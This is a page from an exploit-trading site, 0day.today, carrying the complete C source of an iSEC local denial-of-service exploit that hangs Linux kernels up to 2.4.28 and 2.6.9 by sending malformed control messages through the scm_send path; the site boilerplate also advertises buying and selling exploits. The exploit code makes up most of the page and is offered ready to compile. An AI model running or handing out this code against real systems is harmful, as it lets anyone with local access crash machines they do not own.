0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit
[==============================================================
Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit
==============================================================
/*
* Linux kernel 2.4 & 2.6 __scm_send DoS
* Warning! this code will hang your machine
*
* gcc -O2 scmbang.c -o scmbang
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
static char buf[1024];
void
fatal (const char *msg)
{
printf ("\n");
if (!errno)
{
fprintf (stderr, "FATAL: %s\n", msg);
}
else
{
perror (msg);
}
printf ("\n");
fflush (stdout);
fflush (stderr);
exit (1);
}
int
main (void)
{
int s[2], r;
struct sockaddr_in sin;
struct msghdr *msg;
struct cmsghdr *cmsg;
r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
if (r < 0)
fatal ("socketpair");
memset (buf, 0, sizeof (buf));
msg = (void *) buf;
msg->msg_control = (void *) (msg + 1);
// make bad cmsgs
cmsg = (void *) msg->msg_control;
cmsg->cmsg_len = sizeof (*cmsg);
cmsg->cmsg_level = 0xdeadbebe;
cmsg->cmsg_type = 12; // len after overflow on second msg
cmsg++;
// -12 for deadlock
cmsg->cmsg_len = -12;
cmsg->cmsg_level = SOL_IP;
msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
r = sendmsg (s[0], msg, 0);
if (r < 0)
fatal ("sendmsg");
printf ("\nYou lucky\n");
fflush (stdout);
return 0;
}
# 0day.today [2024-11-15] #